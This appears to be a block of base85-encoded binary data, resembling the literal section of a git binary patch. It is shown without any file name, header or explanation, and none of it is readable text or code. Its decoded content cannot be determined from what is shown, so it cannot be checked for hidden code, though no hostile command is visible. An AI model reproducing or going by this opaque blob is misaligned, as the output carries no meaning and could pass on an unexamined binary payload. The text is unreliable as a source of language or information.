z*nB{@)70po<0A#z2UFSdkcsv03qIolj!9=AlSx2%jz278NdSC?3qMYQV=~MKD)|h_ zqt~#QGaPyv1@ZQt)ccw&I2lNX`{sJkWVALJ#l`2V863}!v4ZljWZiBiIlab7XT*I$ zoz!9C7VVZX1>;$!+FUFVOHjB8N7$zaUvzN5yHFAu7YV*Tn-PB21x_CUShME2Xgod` z?~>=u%ZMK)>&#iX9xi|nHqH#fJE=aM(R&iFQzK6bt+cblU{i_mPD#yA(`o=`EIca6 zuwnw$-0?=Ur$-My^uhHpzMUDOh#dYGdBzqz)&CQy=nW271$041v2n&?tkR*fGM_=;PJXFymCz zo_s|IMhe@)d>hEKQ+T)u8!9Iis9lar!#ik$%W8;1<*}0 zj95wIL!XW36+P$_E~Q{ZjD-#~y2^PW53es$tV>S`rfv0U+@~%`cOc~+i|)}az$YG) zl{uho*!<|&j>ZMJ@tvv?QDb=^p6sfL*Javj@S{4K&j!(GoToXZtr*?aOddBr&Esh& z5|+M!9_@w<-PuRsp;SHwWg;rMN5^1l00uX8<92zxsTi+Gr6X1XO|!=AG^m>$|SX z*MaBxFh|qr1TKbHkA*end*!nNkV&JdNoVx9_xi!H#hAP4Au(PEa|j$I!W*gtH5G>8 zlYnartVF#C03HsNxc*e;Qb8SPusc_z=|#14C!Cu6=)~e0BAHA&-a>J>8}d-+>v+zq zV{9vW@>O+l(LMP>!QkN**Hj9FEK>(8Uzf|3n^>J-jS|NEio`xi-C;uDi&P^vO5yk3 z5RpJix&YfHg9w>piM}jt6>MD_&7`w<@FpOqQlDO`v>Oi-pfvnP@5s-PRK?q~u=Mie z0twln3-t_TYGW|K@#ZFc`b2b^!2Ns_$XpyabKakcKwjb=AWq61MnkW9xCiELXF9bk^~AS`0t6d{M%*mv=zh za_nX43-}Ala&;jguEQxSPeMyuB4|&Li~`E=JV}NEEHWFsC=7n5K*>`;ZrKyGxghha z*7k|Yd?kHQP-X;l{Ln!>Oq|n#5lzV;r;}Gjvg4H^%@7< zqg5XhuBAbsz|=9oS4{@dpGGoTL?lzZ6uY-%knZ$(8>c{s8!1+IHW`ZUw63tTA$b{F-ll&SmH z*4r`$B8my4yA}hn(qr);Iz{oQ&hy-k1LFgq>!)G8Ndh=U(E&%HK|>mzXNR5!c+3?A zck4~C-%LPvpx@8o4FcnPPqL6F++WBOVw>;W-?)&v<9G@rZk!!Rr7^^Hxvm=gcsyYW z`n#su!x@l#TNFK8pN1JNhsRhPu8=VV3kaeTb=g8eTF2QAUkD8^pm2Q`_(IGkO2zpG zx2i}Y>+puc<%2i$ig$TK&Po0e@P=q9UhgjC4y7V+hp60E*V9JuhoG8Z5Su*)u>d`F z2_WVI!r>96O7MuQF&=GM5Z}A0lX=9_@0d^kz+mzQkdx`h!~#5G0(KTWc8vFb+;Il3 zI>H;igex`x6NJ%f_DzKi#ZI+wS$f3-jnFe=t3lffN-n9WJHh@oh-5a=VXvG@EUCnw z0;dQNe$uNtVk|!S9(iHDpvq@aB~McfXlc9rBl()SCe-8A!R@HxD%_1F0ii$&=)hw$ z4ue<^29X)aD5jUOq(VyL>j%q(iPLO)RYLFR!qIh@wjM27JnRX-i6O1cJUg?%~V>MoX24oW%MqLC-D3< zmehfCCpd`ev{2je8Ai=_XbVr?+TpzD*XH)*2+G36h6((p)7`LKbjJ_`&xm(~AfsGm z?wqL9SJn~vQqdt$@H4q(!Im|; z+W+3!qQj093O-GSRP#PF`{|{E40;xdS&Fv;!wlDOl%xH^o>t$JiaQcAbX`n_f>8C3 z&nR{{$c$)YQq1r~6U^noOESQSJ4~K~g9oRH_zt!eN%KV7f)U_=vr0hF!SaPstQKW7 z%jZ_-v^`;ik~5jfN zWz@jkI->*CFadX}VW(K;bNrd;P}GV+{>G%amU$O{rJikq0(wq2*9_yySfoy`1Y*&! zx~y4M76N*>s;kf;ct;Lk?Y2gsoe_X>x4J^g(ifx3AfUmxOV?Ogp?o`zmRvXMnS$&P zm!&b%96XEXyz0lpUc;~B%@4RNr%{881jV9SkG3K~^8^_AEVUJev6Uy#bL;H~xE|0j zL3_W^IO|zmF|>f<-GWc3(eRnVCm0+_MR$e#n&&-)U2H$2rcNkRloeDbR1zZs znz{(1q$<+F8#!eTfSpapAI*zMs2LLKvJ{Jqrm{ zE?EOT1G>z`A2~))KdM{dHyZqSTNCazP!vUsvq8gCq)Y2J;b8)7klNtqCuA4;;f=F; z=J#Q;;zxw%WD5In`XMkjQa3?liGrpl@!JEdxF)pCW||RFf5ry{bn{{;pusebm!pTb z_`3y;cSvQ-VS^b6@fL=@fUv_ojGxHD$0g2ye}*FI1SkR|4A3)5 z3O%*-i|4pkotF{*Ec#nVnaoUTnK{@3h|}Ji9^8QC9t?ou@+b5I$_n9b_wyU)QM=v| zz(+$}Ei^ujHG0wAv@cCR)4hRDgFuy^Ec&W8(e6gjJQ@aZkFyQ}-I=60EmXAujj))$ z^QXEV7OEMcwev_@uXm#&=7GwkD`xaNB%b?1I@=}lpcEkU(ROskxdE5NOC${=cKt=h zssQMFn)?HrX;kzR!vskwj2Fejh=QcqWUM-A0i*4h??CF`E~GwR9l9DnNldgf-gu|_ zc!r5S(|n=(*BHSv6>!Kos$UGVdqA+l27euGTn)ViS8u7-X590vr>ejS?zr6UVg{Pa zKy5-PaKo8H^p{ldc9_5(XPgBx&zoII#MvIQ5zqvts;Oi~&+HwbTOj8)4QpzSIzi3j znwp~#1yd?h9L}M4&}ckr4jKfHTzJ=rAda4N5UU3XVtHMYa!t}*Vvei+@f^E1Ym8Ow z9;d$og;o4|dIkg>=4*$bGcNcZz>lUWg+H-0D` zRzu-|*RA<`qw^gd2UVPm=CVAd&q>F4n5K2_uzyp%v1)b!VpNmNxpW;kdFWuxRpW~* zdf=PPbCE$+J!+J>PO_3?h_5H4Ih?~L2B{J1#- zB!lIEyL8@wUG^v8%;*eJj}gvMbWpp9}0iVM$$4=@ilSRjXY!0?=>hbJfq zLHxiY57@K(`~iNtgp|@!l&2Yn=^b#5DFi(h;>la4FbX{|;!l+S2-LD9zhLR2%8UWZ zEJS}iZr}(_5b#&njN&q;))Xlt7TKJoD!ffmRSPpj*h-|j+jx7cALna5cHo{)P7QNv zeYEH+?4QXV$s4Xc4DmO$nIYf%t}$QYNdUrmii-hYob%JArN~~qQ;Ud5Drw-0f`C^Twr=Z+E{xg2T3G9YN<(*a0SyZ0- z6;5qvmd{wl%~aC$+*i``az=DI_vQ?*`%mPr<B z&R`4GEdF>a@5OIpxGMgb!*P}TF`vIK;Lw@;aTb4FBIC1^zc1#GYWZH%9O6+m7R;LH z!%xD=n#O8r(II3#j>|iqLq7hP&S=cwkc{?;{Iy*A;Ur_lEPOe|Sj>NPi+H4GGf03x zPUo*@aA+16TG}FxtK<*eA`YF&A5M$79ZUK9V*aQW?Pblzbv%iTvt~{7aVpJc$EKlp zl$u(sM6_jBB9Z9C%E8$x!tL(4+z5`f^mSV~tIbJ*CsnPn_*ASf)RHdZqu{!FjRg!L+$$L4g@K-^Cc02QX{ZDZ8U_w#g+4kB$CdhD@tI)v80F-T>Ani* zC?|JX6pwRFE`!^){6XSld2o1g2hWcAu8*VK5W*+arg+7|)bdUGRG!nDQ>$&VM~bId z%cPGyzb>9tEWR}oM-wmG)OqQ3IFE>6{xB&HC*q4frKnGmA~}ET7Ka1T7$oDkVA~Z} zUw6gz8WgWAUb1P^6_>PKap{NLIDY2tTCM=FD09qXihK_Eiffj&Uw*B1O$Wg6z2o{z zuh}GTEnY6iB;A`Q`E0CnjR&9SEqX^05k(hu;Le7U1IK`H@4djS8_vBKe6@pf?}ffx z=@Ohdc5W@q*Wum_;>7?@fIEjPad6o?T#4A?+dnu<@lj;1(!HvK3&~$}i9Rko){O(u z-a&5kig&sh;r#hf_X*?t`DN}veO(7icdzSUywG~SpX|Czxtnnvhj%jA8G7feGV<%O z#}QxeSTZ-mJ)(@ViVkW|a6KimdncJuL&-^I#1x!lMxEZ_WroF^(OW(+Ex3pSN#0py z97P72e3BL+=d3d3B}U@%Yp=fs(YTe;8AwF)x#W>A$?4Wtm ztBRmL=*GOHoM1%s3C%dWdNrO$RHp>{M^ctLiJJRI67}>!e8UTIc&yG&*V;CI;BEJf zoA_lz9Njwl6NksCp%@O*`pZqVZ(7jSLK!jJtKf)6w)Mp=k@Dl!;j*9=RT)6QdT|1O z*5DV<9wu;a{Z0UU)u4^|y647q@}=JkKW1?F35oBQ@V9SVhZp(4Y5?+UI@@kZ{+cAa z;r+;_!(TQy{M}+0mMW!)hjkHYNq$(0aKoHUhrc96e6JYB2n7xShkjjvpylU?M|8w@ z7*9WSl%n}%sY9dFC*dDz$Pgflu=$dtqE;YFoceFNJ_r%r&?mvpLbe@gQHD4+KsoeE5V;!a8ZF{cIu=UqA#bs_a%CH1L% z-aeg*9zg0BB{jpT6_WP>o%$0=?UmI3$mji6or=4DZvBzmU|= z3FNN@1!-}wPDLwG=w~H$e?GNGr=pce{e+}GlTS_RRE^=ilKQMpWej)dRE^a=lKPyK z=|yh6Gmla<@SKM#BFn;e*BT$fXz3XLUB9i)`Hj`dbNqQo>I=@w}*Xe77tr zguNm@ql?H2XhO36PQqSWQFKDG>3A>9xbq76v@T&pa&4CqexL7yPwCVHl6se za=5qtQA6sseq10A38WWxAwQ`hb@M(ZkU4?$y1<s)2$(O|9i;tbmxKJu2a!r_;Rb1^T#pa ze~|dYT)WQoah*$dPnV?rNpcm2J*?bq;iEd2?trb5>(9DHjORb-RMdhmw@B*Cx<*dD zL#OICzFfux;+C7FH#qfno%)jG{j;QQ`srD z%Y;~>&44^CkpJM-^km2kI|C6F&_$U7wUkfeTG!oQL5-CnIPXh1aDZRlYggT?`eX9fJ; zeCnu9{ivk=PEr$`st5XzP90N~(Cpvq#O+?)zta(tUwZAgIzqRDyWlrEB9HEKI^rI$ zjAwO(#*ni-qa!}S5T{CCWOdAE1m&L!%KuaxcGvWN4f$C~-6xP=knn#W>9-r-VJ6ne6lC`%?|6d*yLso%_}eoLnU6Qn*asgLJVzo}EvKS=GD)NkigzoApn zKS+HoCF{BQm`>#G(Gid8h_8DQ zgF1pcK|>7a2yVAigRNswDr$I0YWO~<>MiaOor=~Vb(f_6dp_^ibn0$N?UU3W=2IWm zscA_~N$QXCssE-^ha`2Ur2be^d7*q&C+_hgzM>>_){<9^E%>ZUc~)6;^$t(eLCV7UPP~s&`sq+dvt_u9Y-W}gl-T=?9dUq4IJ?~ z9ih?Yh|lVXJf@$~5m~8LI`q>zW<(mcT^ja#q&geGr*!H8Nxe%_pUxg_CKBgmb9>hm=#HbhX4?5zo7jdVKc)^RfLr1*mMcl34^W52%)!KI_6K(7cWl}e)?wKQ~oI7TW^;Ah$(YiL;klw{#jDD z3gjOod|MuJtA_luK>oL+#s%^v3E!TFyhTI4ERcVa)GmR1QNnlRAwQxaKO(9BC8^sa z{DOq<%tO9BO>@YS>a_w5I4qF=z>skY<)T}Y9#eM(E&tS=c8b|FRN z_NlzSWK3AWGf4NS2zEXN!493qqU)HjTdD|rKJ^iq_$+LW3A>OY@cCHCMVTz{jtRSv zBK`T)R)J*UcTAWkK98qJfj-rxmz_YCgxxYlJoKq;0{LG8SrT?3MQ-$|TLqE@OYSNfEeD_MXZ6Luj* z#`LL=N|~bqSrT^f6nWF9w7kh;?wGJ!=JULb`P5xf=JNts5_Ta)O!cYl0{MG^ED5`i zBER}nLLgZd9us!)6gk$X?iNTE!N-K%GDX1kse1(SIe{z*yJd=?>rC4j{gk8v=X~@qDFyFN{TUI7g8i| zpVE>ys~*OLT}Y9-eF{=H%4CJYn6Qhdh~qv5aU7685y+CTTjq~+i&6slBY`XlyJh}R zL-q;e4+XL$?3O9Qy-z(TkUtQ}lCWE*2>L$tkU+9dVocaAQ^b0o`m#WNS0GEmTqdh( zMa1{1uL$Im0y#F!qQ6f)q8UBbj)>^*Q+d(fryk?f(}W_3knK~pl*yvM8)nhgryzu? zgVS6x_jBemFolHA_&N9tH~b?Br}A9V&ot!c1@dQ-S`v0U>Zcm=p9J!!0$CDvA@^y> zF9_s5fh-BTjry^M+$oSh7RZt?j^#-6UtLJeH2p}|j^04;dp%Pac58n%A(hV^r6FDa zze)W=()yCH+oNd>`LIBy1+paULhja(UlYjP0$CDvA-|&`9}&p!2xLjvh5WXL>=(#y z3uH;yh5VL=v<3280$CDvA-}012L$q)0$CDvA-|y^2L23uH;y zg?vIoJ|>V)2xLjvg?wB?uHh;2xBwOfU9bjOZ;cGqz^kn=;ABK55!xV;Gm~#c@Zy4rW zhA9lWFy{!&I~e91hA9lOvX%MS6#~=5Fe@0QFyxlATwvBS%yNb)47o6M0`pFWsbiSJ zkPA~QFz;fRT81eMxiB>X^KOQzVVJ^@3sWsH?_ro~hA9lWFt|PqDgPhC1R16<AbUj%xDAC@qzyDp^Is(tEl zfn*E18~!&5!_wMGw*W?2ooOfE3F8R@ zA~Q+AYZ8KhKqdoFlA?aD;ky4%$Ww%g0f1l{)EzcQe0xBuV&dEWDVGv7=C5_D_3D@?xcT;6m2&gDJt zc`xew0{g!tzR2yIZ{I3Na}Jm5=5mGWX0(a-=p)=tJ>M!wQ%|`CFIUe>Js**J7P*~z zzEzN>o^m-~uKr2tNzQ{2Zl|7a6{M-B@C@+2i{G6*5F^}9J>M!wQ%_-KC|5s}dXgJs zgxjg-TLo$ADI6B%>R+Uu<$cIx?7K^hLSubFi*E%p4G)U(L#taif3QLYRh$5#ci z$n8K1Pe-{rD0zNGAdB1%r0{o?E5qOMWq~YmJCMTcQLcU@d45SCi`)*RaDkMo9}DCc z1+vKPKni$#gg>R%>{X`&l3uKYof!t;K^QQtyKALi6+o^Tkhv03lbqXu6y6hDHw$F0L_p@;4x})p;JR5LbL|CW z&h0=7w+gPC1@bdePvic$xXA%xb9V|C3$B|5@&So8?vII^tRXgkWuN&*{~?fl5^LO_ z6n8eCr*O021TK&WGVskwM_eZ48;23fG^P{Hp*97vT5^LP# zd%?9jA2|4g|u{4-IB zEpj_868@QTg;LOpT#0VC19`V;5lTU9u0*%nffW83Fc}Cs&ojv-kf;6~M!wQ_q)8J^w=L`Lfir$nDhg zt%5Z5e96@Fb5hTjq@G1?r=D*Wq^aj&Q_s&!Jr7Ggi`-5<-zrG6?`KRs|4Qnak$M)n zoi+K8f&79%9umkRw*&d2fqYOPUlhn9w*&ca26CrB{+mD+xgE%#8_2jo{#+o9J1y?7 z<#C>$8OVNt{F%fW_w(ZZIw1|d_cm9DD&h{o9-8ACaeDsER4q@Cb2j*;n=^%{V;=Id&IZI$x6Xq=D<90bP(*!0=m}!J@yBwIQ z0@F#Dsf2O69GEJB=^{)OVcaeUrcz+m5T=qaZkGd7AuwwRQ$ZNF%YlJ?cEqeBjE^vG zmjmM!nDvD562|RvV5SJnZG@RZ7`MxTIa6RZ5avw6xLpp+WP#a8n8}23yBwG^1mR<#jN9eF!0HfUdI?ib7`MxY(YGOd3n2ck;O)e&N9Y}h{Z7H#iCu@#I}!V2 z!P|*lTUP##veUkudomn!0KKNH{GDZ|J>hz)J5js$I`Lg)W#!kFo%T1br@EaGX8^*;iTB7i9*>qdZOFUq9#Ij2Ih`6d z_$LtBZc%}24WTP@(3=H%BBAZp6}Y+xU6q4|!6f)65!!BPfvc0yQ*+Q^fu2U_b&T=R z6{gD_MtU9TOVDbJn8}2(TLjl?LZ9Udvl>mmtrh4BS4=(~`;Cl(YXqi}Fm|i+E(fMd zV5$gXw>9r_U^)e6Dq-vv=3NeqtF8GK+AhMdg{vhWX-&RedDn8bwJz6t9RhteOYLAx zk*l3yGnPUl#_xrhjRg!74b%!^Wbp8ypjH0RFv9J0yc~nHGDjaC8nntEAV#>IRB|NJ z${d4!Dyeo!xud$BRB}Ah${dM)BB^#us!`oeDmf}?WsXN=LDw#J^bu|+l^mO#R+AlF zt2{gU2seqr?8Bd$J~VA1!?{*@hVv0_r>vitRHiKlCDm7?U8B3lgE_!zgu+$my2nDL zC`hMz?kO9uprwZ9TGGLU&IB`vy5F*9l_KIdA6jaM+-HYCvk60>FgqL6et^DOYCu0O z1ma`14^m736M&<3&?f~TYx_Qx2YAU2`aFZ2Y=`YY2+%MPTGe$JrTw!VyiYRwC)?*p zMwpsF5<+KS=m_B7w*ee62Ls@UG8iAk6?8^bn*8_L3CvaLw`?ES7g!0C=hy8(bK~bq zU_jz1_6s%$WS8OlE8Az}mjBZBITuH!61XU0otgMAYyjt;#{f8YImYMQ*BBq9jM0Kg zjgmZSCwEBu2E-xX8y`sY`N|$GF@c|yp#$xv^5sGKCI}nNO8p-@*dg^AAP`p#kZLl8 z&o$wOvDdf_1Fv!4=zvc#;LzL4QD)FI<2LA+aT~PDxD9$`+y;#@?#;+@F{=m_z-8Rg ztXWga#$$L}v(79Vzl`t6W#h4@TC>h58~+|wSHRUBlKy>Y+ZK}(H+I!)+-7SuZnFg% z_XKHxn%kJsVN8N>5J|pu7pCxdHCS>4c7`$JbzDtrgmUqWnrL1=^QsgDA|KX=0Q}Wb z0I!*=hl9Ech7UCCJcj4%=mH&`kI4x=_3EFYb{KiUTvb@FyHElf@F`$&a!wdp`I~ht ztf$VV3A3bbP`|O5`7?J)P5x$_sY#QLHcLImn+lkh1O*u`uKYv7Tn}XU+8t8ck9l&n z?X`lYw#%iqQel`r(Eb3x2MzeQ^58Jl_BnM2H29$j1Z!Z2{j~x6KEbv~AM`|Mm=X%> zd-VMdAZv))xRRbkNI?&wv+hI>ZJ7&|^3pDKprlcwO1a7)N2z?UFcb;dwPAKGa)cwL z{memtp`fA>3WM(p7Ci2y*F3OH07Fwhk36r|adrLX_@(;d*;xerYed^&k0Q*k8x|w* z2NC_SS%wD~sLn?2s#4#B3{{=JM@?pF_p1qwI;cMugh7MgYkHYF11(9b)Ab?MTc4GR zU8H`&=D~2uA+$$L;HxtXRg9})E|vob(DiJo6NJ{-K}BgeG6$tkI7HQ~M*UJt%U+`l z(t~~xUD{$^)tFqPqGs`)w%QYhZ38u>RY#7d&|zC)8f3N?O3nT19E@k^&kw@#MpT{I zsE5=9Yd%b7or^A+2$#CBQSXIBVn(Sqqb}!Hl@a4-3Ep8^1t>qbOEg8I=?{Iu7qybs#ZO&&Z~w7Ox-rD z6I+AHjH+pjhkKoF?QNT%ux-F0hz5NZ%^#tFbNK>e!+;vLEo#ah=V@~Vna?4bIr%8} zv;}nA5DiQvt@l>mV7(Vc7vJk$4zouA`SW95v<(3gT0UX*6ZO_xVFnE=Tg?yv@UDe5 zs;$jgyd%vS9ZKl;%+p?UH>M`cq7KmvM_Z81P7lHUgY7n{X*{V{mdRS!NJo9<*im{SC^3jbk11VbqAs$s4}Vg1Bhy%*JLLq%c7 zGdLi@F@2EAy_esheaoeh55pR-6A}nVu)TR3EOY|C33Ac9w6~oa_m|Jrupi?@W`=0F zVmgXVVm@(5n`f7}yOsqo5|SJac%UPOkg$dQ<93I2KW6%qAJj)U(Lj=+X@3K zw6Ovc5ITnDqt;2jO!brKNjT{VqcswPQRFoc0*thg=Kao~uRR7Y6s|&_$^u^?2J6bB~GnePK-P^w=QG)9C%W9!QD~MWg!O8+2#8 z^ds#JShQ&1Sdwi+U%`G;6f0I_YZNxsj_P)d;l;Wdos`xCah)29VurzZonGezCK;-| zPWalRI+V$95b&?b9%VXX4>B|RIqEpAFyx$3n8jL9;7^(W1A=uZJ+vRYFOx;_lo89s zC<{?Z80a<;w9*k%7eKO5+GusrIDx{)@ZdYY*MmrIz;@V{g;kZ1^J~zt z+^@D7L%oIZsgO=JxPFL%Eiz6&^B=3*pdKKkpLUGuyx2kgSUrlo9Li0wO9+eMj@tbDg*h{s7J$lhP5z0+dr0qtO+O4gpkx?u zn4I!zsGtR(O1%gt;pXF*g{NK3GBI>ikm-m5_J-rkoTiKBAa}mSN)Zh|1O*91MlLPb zWw6%QfZeY+l*M^yTgon!2BXXJ4|lo7?KID)cd^hJ*pnA}>p0ZI*mQezG5`x^m2>go z>vZr*`6MY=B21xEqWVtuY!-7Z!u9Ngy}Kx1r;(Mgt3r^Mq`Sj$m={mV)~1u~VHkYA z0qAom($EtN51{ii{2q1QhUt1yKPrWFBZEq1q*4*>TWrSekg>!JJCf4My>YJ1jabvn zUpwCISYQi70|*UR{z~116B=q%(CMt9yL(4A#q?(uJ$F->I}1kdkhN&4j-nfB{ju&W zb!V&X#A=6QSG$hJfh5k5^%O>%Qk}3oUF*eKZ-VCfbk81|kFCddS%il36adSzm?ko_ z!#K6I>tuudgDJLftpVU{jfZr+U1vi&i^&#XPsI`YF*CJ?V)1Y!Gho5`H7u}&Y34JD zqh3#6zh0JzU=VQlmcj;5+^VgbyR`vmPk^B`>NSD-&xx_6u>pMic2FHBs^3gn+Ja#` z41{be+uKj-$4766sa6xo584}djCqFpwh#{kKBFV;x;Klh0eds^*WpOWE)AB=rbp2b zv^!+~HQ)`4w&oYmHNXmi64|+;QWo(4zFzGMsN`Lizf}EQN#l%w4kY{g(9li{ChrdP z-J%BF6hKq%pxx2-;(&nqGbRmG&mV|K;<292g#On#x?%|yK`e>~QO7ur#0fP8r>2dq zuo0&w!4+xMZ4B1mna$C=FNpP~2Rkg5Lp&DnK}@eH5D6a*p-LLd=P!-DUpc%aqN@TF~Ekjs~n)EP?2x9SDgm@VC!qW?w1Hkx!^TL)|Hja6?H34LyqiHj+ zXT2AgKQMmX1_XtEd$3l9_o9Dh z25Gm;Sl+f(@V6~MpSSD5Bu4Z*&zP|VpDd0I5qRsDXD9UTxw;?NI=5ljL83#LVu@rT zlAwM22E8r9cUV{8FWyX~4Pfc$Py)uSu$;gQdKOT}bdozb5ko{{mq)bD0yAzlcr|iQ zIYFqOq6H^~M#@X)*ABo~IP&qO?i8CurJki8m>~qR zO)`kIVhC6itzaF)DwACEb?e$n_U9#DHPxC~s@An4vc;~A&ww;NXkBFkVf^kw7l+W# z$ThJ9nT7^*!*lo&iEUX4$5ypCNf(#hsP2Q^!GzwchZ6Wyz&8@Q9+V!Z*(JqC+2fw%K;OV_>=3iPAxxOt z>eUol!c;%SU$Uq1swG#dM@k#j|1N1%hhT0Ml7HvhBHPwqYji? z9i{5go>sU(p0FL&wgWWk5kbLRP^%O7xZ`j_xNO*2<$`LRAgkSR;S6S=MuVU0Kw0m1 zTtMB6bIlcG&C5Zxs>gd;2Xz{QbGdni%&Q$Q+7G|py3~iGIFQ15UNzpjw3OS?JRX`p zvf7%Ck^H>!;c&F>d92tEoYg(d1Jf`L4+iGdj$)XdfI&Vm#_i#gf6(UIuT zd2sW^esy~bipLPOo0~yvM>ZYpp5-)G0H>LLX=lI8sFK(0sufRT45!Q_Wp~W-4!b@5 z+W#2paWIB`v@fH3(152_VRXB{>-Wy-=Jm=y7KeWy;TSl;-4XkpRmIKz;W-!%DDg5I z;_(p>FXSMA)SwA*y%kl^5oGtZ;=+DmD)H6g@LwW)5XA)WSKChexn9ZObH#wa10alg z(xxhO0nLyB2;ZElo1C)I1wC?a@Vi@zdf;>CN)P;JaroyEj-7ldOz5gf&tu0$B^q3R zwKwT7z6NMe(&xSb7J=3sEY2v2j0W}HpdezGm{lpRIaNr69UfB&pD-4&mQK4Kj|xmp zo=##wxU6Lrkqm;cT+Xsb%URc%5k1=%(oqZ?7==Oq;~0utyY@jGN>Tj1w-kS?Po0NP zIorq2e9wr;K1SAof{stQJgM7JI1kM=&tU2u1eYXerZH@YaSXeQD|P4c2Qi?4ez)6i z;F}?RFJN>ZKy=p&DCBQf7WME?PzJ*Pra1hkEPI9z7KzoPceSeTmsI2YiAA|b{oLZ} z82?Z!Tv+XFN2~3y=H%j>AUDu{BwJmrcVv@1?AYd+?W3S)>n=1D;|P2GgRuLH-k#-M zq2H@_j0&q^J@;xD`n6_N-2lgx747Jo7Lcwu6s>DG)wF9fn)$U!# zsfCpGoa8u*hAGR8`vy}YO({8*s5d1wn3t)ADG5!^m&AQRh)6y*9>eH4pgSO1UFpSd zx(l)*W?k*G-sMBbjUKvOe^xF@pIl*G#$&?YS9cq9^KsP55*(tN_49y^pG@zb+ux9U zXimDnA)anPaH&VY1i~ESdF1%(6^D@1v(??^0C&if88*0XG4N(-`7q7}FI(^P;#^@} zjZaBayy)cRy8l7z-Bn*`(vMl!SLkT1?!3v>1u?6|hqfgFoQ%P6E#{-VF2~66-kcvZ zK6MuEM><=X@8v9mqlevx(S#uEuf^UOGnOZd=VTg)VG>I!kJ{LnSTYvBsvFSj6(Q>y zmnW6oW6i6GDIfY%ZD@T^O(A};xix8m%NcxUE9UaFko6u{x)`Pgb3@LdSoS%~Uj>*7 zIOc(T`40SDEq_?QuEtg!v#tO%;`ccD$E-RDVL8)OM?Je%om-7<%UMnIw)~=j{XeT0 z4e!R+`Y7ym7wk_TpDt_1{l(#*Ksb7PxwB$a95Cd}-0;UD$_0`pp3$-V4l`EhkIvEF zI#eRnuhX1|u;YxU+U_w1p0|7U#~y5m{nY{!<=GJ%0IQKYqgqdAEERNoY{NGNbo#rbh%`c0BzlvZqu-5L*n0oY1-Kw^gHL8CstzMH&GZ%Z{O!(WkEQgk8tW3=8FO1U6@ zp#iKWpzTN{0mtsVKZ^Mp2TGulgEg*U44d7nOl+& zY);RvapZ~i>HYY?CJCMvz;hoYHjvbrkUZPD3xPCvS%yL>^3if>b`e85;mEYkZjoopu`5!+w>$Z8^x-IH{p{d#kIhV8>z{ z%*OKNxI#G>DPs7R0wmwY0TPb`Cmw>z*2sl86~k6kj}eEl7{Ch!l1%6W;dCWY65deZ zj*I1Blpx9k;mL2z!DR-HdwZbUP@7VXGO3g4zuKKno`J&i=q;OWUhMOCO7|X5l!I z;DGi5uV=+#Z0taLnq5%ul^13(JhOeMIp$sXCajy7`|W5?dO7k(FxH9i1E_9v2;`zU zUeE_xc<&Ay@$}tndIWcsK>4IIYw*1Wk;zdrcs)<^o6WKpj%Mtz0wqHT#~zs{cH;+m zSeol~7iKr82B#*I9iCzW)V}m#Xc^j~PH!C$;;Kj1UEVd8t>!~k<1&;&k5G%8yO{x= ztI@-T)=WBc0DraCtZCPw^RYh7s=&&~6?9Pdq_XG`@M3sXd8>{e=BSDZxXxr!1ioEm-8)au^C`04Cp5?&PdF`7{W?iu{^#!-X2F`=GSj}3L~3X(*X7=U&^}5 z%PoBQ4M3J}#ze(YR=P8Tjv3SjM=!$894syM^sqk26R6I}K{WT8Zvt^X1Cxka0bZr) zJPB}xh5dBLWxrE{xFm_$g5kQ(Jguy0x4?d+|GUT&1 zgc`P(_ZJ-R&&0di&h1B%+gJ0s{g7$*xpRA(A>RT7sMjd&yY%AtJcvC40a5h?0|r0T zI)LR-Z~ZjB?Q-x(guZ;8)F)aO0_Rqvy1iAMu@k2XT-eJ`9(CdGs?gP+yrIn zBJe2$@`5?d6=}MJo9x&wEE@*2!GU9_0Nx~91y=c4NQ+&j1-Dbg5r}fj%*vw`H&zUj z#xjJy0-Ci5DKa5kLZ*grdcl_g?t!fs&TSY@KD`G=P`xMvoCQ2F*m5$7SSmfheA9X> zb{?*Tyr0Dr1TY&4(S*{`5dbKXk$X8TW_#xw_zLE_S7&a*QbWXf9!`)uWO0fB<-SR$ zqy^7=P~oZ9^9$=C)Yl1A3&8-SmbIeIH8CqV)e2722{@*K=-5~qgGn3f@@d%m7IEtf z*{O67vf-kJ9z_r4gJo64s>e7y>TDOT(cqWoP4==WNI$y4M)6Sfx!%D@$X?A&^@+)& zSX{<)GXMx~@X#%faH)%UM0}X9%l^%SM z1QgKMNl^j%AT#E;Z?pnmt?K=pJBxtMuvKt2-J~l)f9h^&;N!)H}S~j?aX^w#$rrC1YG#q(P0r?S0Hh5E2AKmwnzUoy<+TF^ z$$0QyAY5}s4Z;#LO3}VuDJj6|)`!up=qW79o2~bu_88+>$Lwx&BEh@jJ6@2fwmyIB zgWH%-2ouA6uv}t0#05B_fcB@r5wjfh84ivOHX?;=+*qS*Wo2>{EyK7*Y?*M1l%YS_ zt#T_f7uYW`)QW!n3_r*`Z>V4#U~A!mnM$iUEb2xXhgkJ9oPTwP)QVPho~~CNt+=aI zlL@k^mH7}Q1&QIT23&8+Xq{1q(+gG%X{(FG!fJW+wst*zfWv@f6yWzWQMd{nU-{}EE2A94Os;BkJvVL6if&|#Ae68qM=}DX=d=FX+ zfgpHao4mO|%tPa={urXf4EWk!Y zK?zI*^{sXFKmbyuklL!gWwv0>Il6=o!6+o2Z%|A>*6EG z@8igiOc%{?g1Z7`HL8DS{(~irmq6&_N@TYP9=2sGx;4?I&Obmx@-yGQi&u}rPX5G` zB})@HE}-M*^9Iv?poeYVoLb@$N^j!R3Qm@;U+VdyD!<2?JtYH9FP->Fe=mvv3k#+d zn8Nu#jYpd}!c;rp+PH7>CQ^Uwy2p2N9OP>N7fMpDz*7XLy+Vc}`lxY-AlO99LqeeSAc>Kg0E11Y&qam%ClgWY>(#Vsq-}^HGv@U|8W$LGeGqFBFvOt! z0s|RFE|~sOmMSSNeg8!zC00qoQv&yYPMU~kX=w>O`1vE7H~G76TeU87YlnZ!r3+Uq zylCFKuG=D8=7n#I_;2az-dy7E+_1jGziPv}Tkq`H)Zo9WWAobX4IBND+qzb5*mT<# z$Kk)dV|^r-)#{CrQ%lHP#+I^s<)&~)_q?tJmo6MzLZ{gsTRK*ixI3c2GkUN1yYJZ8 zfxbCm_ietzhFI5ii$A<-)yS+aaXReOYTns&KR`zW$V2H?~5Yk9hma zja_3)*}W?4KlMR_Z#(9Zn(q*2(u}#rB_+4q(cQ7Rcjd8&-F(UbkUoH@p@i z?HE;3(z#)C_q<4V*SgJ!f`8S<2pnbNSh4Qb&D|@yJJxSpx3aqf!Q)CwFk@GAcC6dj 